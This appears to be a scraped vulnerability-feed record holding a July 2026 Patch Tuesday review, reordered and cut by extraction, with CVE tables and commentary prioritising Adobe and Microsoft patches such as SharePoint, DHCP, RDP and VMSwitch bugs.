CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:04:34.354526Z"}, {"uuid": "0f8a02de-9247-47dd-8366-ea1c7fa44de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54987", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  